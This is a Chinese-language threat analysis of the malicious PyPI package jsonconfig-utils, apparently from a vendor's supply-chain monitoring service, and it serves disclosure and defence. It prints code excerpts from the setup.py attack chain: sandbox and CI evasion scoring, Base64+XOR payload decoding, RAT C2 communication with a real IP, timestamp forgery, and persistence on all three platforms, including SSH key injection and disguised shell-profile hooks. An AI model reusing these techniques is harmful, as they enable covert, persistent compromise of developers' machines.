天问Python供应链威胁监测模块发现 PyPI 中存在恶意包 jsonconfig-utils,该包以 JSON 配置工具为掩护,在 setup.py 中内嵌了完整攻击链。攻击者在安装阶段即可完成反沙箱检测、解密并落地 RAT(远程访问木马)载荷、以及跨平台持久化驻留,最终与 C2 服务器建立加密通信,实现对受害主机的远程控制。
“天问”软件供应链安全分析平台是奇安信技术研究星图实验室研发的针对 Python、npm 等主流开发生态进行长期持续监测的安全分析平台。
1. 包基本信息
该包声称是”轻量级JSON配置加载器”,其主模块 jsonconfig_utils.py 中确实实现了 load_config、ConfigDict、validate_schema 等功能性代码,以增强迷惑性。所有恶意逻辑均集中于 setup.py 中 ,在 pip install 执行 setup.py 时自动触发。
2. 恶意行为概览 1 2 3 4 5 6 7 setup.py ├── _check() — 反沙箱/反分析环境检测,计算置信分 └── _install() — 主攻击函数(置信分 ≥ 6 时触发) ├── 解码混淆载荷(Base64 + XOR,密钥 0x5A) ├── Windows — 落地 .pyw、计划任务、注册表 Run 键 ├── macOS — 落地 .py、LaunchAgent、.zshrc 注入、crontab └── Linux — 落地 .py、systemd 服务、crontab、SSH 公钥注入(root)
解码后的载荷是一个完整的 RAT Agent,连接 C2 服务器 77[.]246.103.245:443(SSL 加密),上报系统信息并等待远程指令。
3. 反沙箱检测(_check 函数) 攻击者在 _install 执行前通过 _check() 对当前环境进行全面评估,计算一个”置信分”(_s),仅当分数 ≥ 6 时才执行后续攻击。这一机制有效规避了自动化沙箱、CI/CD 扫描器和容器环境的分析。
3.1 容器与 CI 检测 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if _sys == "Linux" : for _p in ["/.dockerenv" , "/run/.containerenv" ]: if os.path.exists(_p): _s -= 5 try : with open ("/proc/1/cgroup" ) as _f: _cg = _f.read() if any (_k in _cg for _k in ["docker" , "lxc" , "kubepods" ]): _s -= 5 except : pass _hn = platform.node().lower() for _b in ["sandbox" , "scan" , "test" , "build" , "runner" , "ci-" , "worker" , "job-" , "temp" ]: if _b in _hn: _s -= 3 if os.environ.get("CI" ) or os.environ.get("GITHUB_ACTIONS" ) or os.environ.get("JENKINS_URL" ): _s -= 5
每检测到容器特征或 CI 环境变量,置信分减 3~5 分,直接将沙箱环境的分数压至触发阈值以下。
3.2 硬件与系统活跃度检测 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 if os.cpu_count() and os.cpu_count() > 2 : _s += 2 if _up > 3600 : _s += 1 if _up < 300 : _s -= 3 if any (os.path.isdir(_b) for _b in _bps): _s += 2 if os.path.exists(_hf) and os.path.getsize(_hf) > 2000 : _s += 2 ; break elif os.path.exists(_hf) and os.path.getsize(_hf) > 500 : _s += 1 ; break if _cnt > 10 : _s += 2 elif _cnt > 3 : _s += 1 if os.path.exists(os.path.join(_home, ".gitconfig" )): _s += 1
3.3 云元数据服务检测 1 2 3 4 5 6 try : import urllib.request urllib.request.urlopen("http[:]//169.254.169.254/latest/meta-data/" , timeout=1 ) _s -= 3 except : pass
尝试访问 AWS 实例元数据服务地址(169[.]254.169.254),若可达则判断当前环境为云主机/虚拟机,置信分减 3。
4. 混淆载荷解密 _install 函数中内嵌了一段经 Base64 编码 + XOR 加密 (密钥 0x5A)的载荷字符串 _E,通过如下方式解密:
1 2 3 4 _E = "UDM3KjUoLnopNTk..." _K = 0x5A _d = bytes ([b ^ _K for b in base64.b64decode(_E)]) _code = _d.decode()
解密后得到完整的 Python RAT Agent 源码(见第 5 节),该代码随后被写入磁盘并执行。
5. RAT 载荷分析 解密后的载荷实现了一个完整的远控代理(RAT Agent),核心功能如下:
5.1 C2 通信 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 H="77.246.103.245" P=443 HB=15 RB=5 RM=120 def sm (s,m ): d=json.dumps(m).encode() s.sendall(struct.pack('>I' ,len (d))+d) def rm (s,t=45 ): ... return json.loads(d)
代理连接固定 C2 地址 77.246.103.245:443,使用 SSL/TLS 加密 通信,通过自定义的长度前缀 JSON 协议收发指令,心跳间隔 15 秒,断线后指数退避重连(最长 120 秒)。
5.2 主机信息收集与上报 1 2 3 4 5 6 7 def gi (): i={"hostname" :"?" ,"username" :"?" ,"os_type" :"?" ,"os_info" :"" ,"pid" :os.getpid()} try :i["hostname" ]=platform.node() except :pass try :i["username" ]=os.environ.get("USER" ,os.environ.get("USERNAME" ,"?" )) except :pass ...
上线后首先上报主机名、用户名、操作系统类型及版本、当前进程 PID 等基础信息。
5.3 进程隐藏 1 2 3 4 5 6 7 8 9 10 11 12 if platform.system()=="Windows" : import ctypes w=ctypes.windll.kernel32.GetConsoleWindow() if w:ctypes.windll.user32.ShowWindow(w,0 ) ctypes.windll.kernel32.FreeConsole() else : if os.fork()>0 :sys.exit(0 ) os.setsid() if os.fork()>0 :sys.exit(0 )
在 Windows 上通过 Win32 API 隐藏控制台窗口并释放控制台;在 Unix 系统上通过经典的”双重 fork”技术使进程成为孤儿守护进程,脱离终端。
6. 多平台持久化 6.1 Windows 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 _dir = os.path.join(os.environ.get("LOCALAPPDATA" ,"C:\\Users\\Public" ), "Microsoft" ,"Windows" ,"INetCache" ,"IE" ) _fp = os.path.join(_dir , "msedge_update.pyw" ) with open (_fp, "w" ) as f: f.write(_code) subprocess.run(["attrib" ,"+H" ,"+S" ,_fp], capture_output=True ) _ref = os.path.join(os.environ.get("WINDIR" ,"C:\\Windows" ),"System32" ,"cmd.exe" ) _st = os.stat(_ref) os.utime(_fp, (_st.st_atime, _st.st_mtime)) subprocess.run(["schtasks" ,"/Create" ,"/TN" ,"\\Microsoft\\Windows\\WindowsUpdate\\AU_Maint" , "/TR" ,_tr,"/SC" ,"ONLOGON" ,"/F" ,"/RL" ,"HIGHEST" ], capture_output=True ) k=winreg.OpenKey(winreg.HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run" , 0 ,winreg.KEY_SET_VALUE) winreg.SetValueEx(k,"NGenTask" ,0 ,winreg.REG_SZ,_tr)
载荷伪装为 msedge_update.pyw(仿冒 Microsoft Edge 更新程序),存放于 INetCache 目录
设置隐藏+系统文件属性,普通用户不可见
时间戳对齐系统 cmd.exe,干扰取证分析
双重持久化:计划任务(用户登录时以最高权限启动)+ 注册表 Run 键
使用 pythonw.exe 配合 CREATE_NO_WINDOW(0x08000000)标志启动,无任何可见窗口
6.2 macOS 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 _dir = os.path.join(_home,"Library" ,".Caches" ,".com.apple.cloudd" ) _fp = os.path.join(_dir ,"cloudd_helper.py" ) _ref = "/usr/bin/login" _st = os.stat(_ref) os.utime(_fp, (_st.st_atime, _st.st_mtime)) os.utime(_dir , (_st.st_atime, _st.st_mtime)) _pd = {"Label" :"com.apple.icloud.cloudd" , "ProgramArguments" :[_py,_fp], "RunAtLoad" :True , "KeepAlive" :{"SuccessfulExit" :False }, "StandardOutPath" :"/dev/null" , "StandardErrorPath" :"/dev/null" } with open (_plist,"wb" ) as f: plistlib.dump(_pd, f) subprocess.Popen(["launchctl" ,"load" ,"-w" ,_plist], ...) _block = "\n# >>> conda initialize >>>\n" _block += "# !! Contents within this block are managed by 'conda init' !!\n" _block += f"( {_py} {_fp} &>/dev/null & ) 2>/dev/null\n" _block += "# <<< conda initialize <<<\n" _ct=_ct.rstrip()+"\n@reboot " +_py+" " +_fp+" &>/dev/null &\n"
载荷伪装为 cloudd_helper.py,目录名 .com.apple.cloudd 仿冒苹果 iCloud 守护进程
时间戳同步至系统 /usr/bin/login,目录时间戳也一并伪造
三重持久化:LaunchAgent(系统级)+ .zshrc/.zprofile 注入 + crontab @reboot
.zshrc 注入内容伪装为 Conda 初始化代码块,极难被普通用户察觉
6.3 Linux 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 if _is_root: _dir = "/usr/lib/systemd/.systemd-journal-gcd" else : _dir = os.path.join(_home,".local" ,"share" ,".systemd-cache" ) _ref = "/bin/ls" _st = os.stat(_ref) os.utime(_fp, (_st.st_atime, _st.st_mtime)) os.utime(_dir , (_st.st_atime, _st.st_mtime)) _pk = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQAB...(省略)... ops" with open ("/root/.ssh/authorized_keys" ,"a" ) as f: f.write("\n" +_pk+"\n" )_svc = f"[Unit]\nDescription=Journal Storage GC\n...\n[Service]\nExecStart={_py} {_fp} \nRestart=always\nRestartSec=30\n..." subprocess.run(["systemctl" ,"enable" ,_sn], ...) subprocess.run(["systemctl" ,"start" ,_sn], ...) _ct+="@reboot " +_py+" " +_fp+" &>/dev/null &\n" _ct+="*/360 * * * * pgrep -f " +os.path.basename(_fp)+" || " +_py+" " +_fp+" &>/dev/null &\n" _script = f"#!/bin/sh\n# System locale configuration\npgrep -f {os.path.basename(_fp)} >/dev/null 2>&1 || {_py} {_fp} &>/dev/null &\n" with open ("/etc/profile.d/locale-setup.sh" , "w" ) as f: f.write(_script)
落地文件名 journald-gc.py(root)/ cache-gc.py(普通用户),模拟 systemd 内部组件
时间戳对齐系统 /bin/ls,目录时间戳同步
root 专属攻击:SSH 公钥注入 — 将攻击者 RSA 公钥(标签 ops)写入 /root/.ssh/authorized_keys,实现永久 SSH 后门,独立于 RAT 存活
四重持久化:systemd 服务 + crontab(重启+定时检活)+ /etc/profile.d/locale-setup.sh 全局 shell 脚本劫持(root)
文件 /etc/profile.d/locale-setup.sh 伪装为”系统区域设置配置”,任何用户登录 shell 时均会触发
7. 攻击链总结 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 pip install jsonconfig-utils │ ▼ setup.py 执行 │ ├─► _check() 环境评分 │ ├── 容器/CI/云环境 → 减分 → 分数 < 6 → 终止 │ └── 真实用户主机 → 分数 ≥ 6 → 继续 │ ▼ _install() 触发 │ ├─► Base64 解码 + XOR(0x5A) 解密 → RAT 源码 │ ├─► Windows: 落地 msedge_update.pyw │ ├── 计划任务 AU_Maint(ONLOGON + HIGHEST) │ ├── 注册表 Run 键 NGenTask │ └── 立即以 pythonw.exe 静默启动 │ ├─► macOS: 落地 cloudd_helper.py │ ├── LaunchAgent com.apple.icloud.cloudd │ ├── .zshrc/.zprofile 注入(conda 伪装) │ ├── crontab @reboot │ └── 立即后台启动 │ └─► Linux: 落地 journald-gc.py / cache-gc.py ├── SSH 公钥注入(root) ├── systemd 服务(enable + start) ├── crontab(@reboot + */360min 检活) ├── /etc/profile.d/locale-setup.sh(root) └── 立即 start_new_session 启动 │ ▼ RAT Agent 运行 │ └─► SSL 连接 77.246.103.245:443 ├── 上报主机信息 ├── 心跳(15s) └── 等待并执行远程指令
8. 关键 IoC(失陷指标)
类型
值
C2 IP
77[.]246.103.245
C2 端口
443(SSL)
SSH 公钥(Linux root)
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvG+mB...ops
落地文件(Windows)
%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\msedge_update.pyw
落地文件(macOS)
~/Library/.Caches/.com.apple.cloudd/cloudd_helper.py
落地文件(Linux root)
/usr/lib/systemd/.systemd-journal-gcd/journald-gc.py
落地文件(Linux user)
~/.local/share/.systemd-cache/cache-gc.py
计划任务名(Windows)
\Microsoft\Windows\WindowsUpdate\AU_Maint
注册表键(Windows)
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\NGenTask
LaunchAgent(macOS)
~/Library/LaunchAgents/com.apple.icloud.cloudd.plist
Systemd 服务(Linux root)
systemd-journal-gcd.service
Systemd 服务(Linux user)
cache-gc.service
Profile 脚本(Linux root)
/etc/profile.d/locale-setup.sh
9. 总结 jsonconfig-utils 是一个具有较高技术水准的供应链攻击包,攻击者在其中综合运用了多种对抗分析技术和跨平台攻击手段:
伪装合法功能 :主模块 jsonconfig_utils.py 实现了完整的 JSON 配置工具功能,以降低安全扫描工具和人工审查的警惕性。
精密反沙箱检测 :通过容器检测、CI 检测、硬件指纹、用户行为痕迹、云元数据等多维度综合评分,仅在确认为真实用户环境时才触发攻击,有效规避自动化检测。
双重混淆载荷 :RAT 代码经 Base64 + XOR 双重加密存储,静态特征难以识别。
跨平台攻击 :同一个 setup.py 针对 Windows、macOS、Linux 三个平台分别实现了定制化的落地路径、持久化机制和进程隐藏方式。
多重持久化 + 时间戳伪造 :每个平台均部署 2 种以上持久化机制互为兜底,并对落地文件的时间戳进行伪造,增加取证难度。
SSH 后门(Linux root) :在获得 root 权限的 Linux 环境中额外注入 SSH 公钥,即使 RAT 进程被清除,攻击者仍可通过 SSH 重新进入系统。
建议用户避免安装不可信的第三方 Python 包,天问Python供应链威胁监测模块将持续对 PyPI 进行监测。
恶意包信息
包名
版本
平台
作者
jsonconfig-utils
1.0.3
Windows / macOS / Linux
isavoxi580
jsonconfig-utils
1.0.4
Windows / macOS / Linux
isavoxi580
jsonconfig-utils
1.0.5
Windows / macOS / Linux
isavoxi580
jsonconfig-utils
1.0.6
Windows / macOS / Linux
isavoxi580
jsonconfig-utils
1.0.7
Windows / macOS / Linux
isavoxi580
jsonconfig-utils
1.0.8
Windows / macOS / Linux
isavoxi580
jsonconfig-utils
1.0.9
Windows / macOS / Linux
isavoxi580
jsonconfig-utils
1.0.10
Windows / macOS / Linux
isavoxi580
jsonconfig-utils
1.0.11
Windows / macOS / Linux
isavoxi580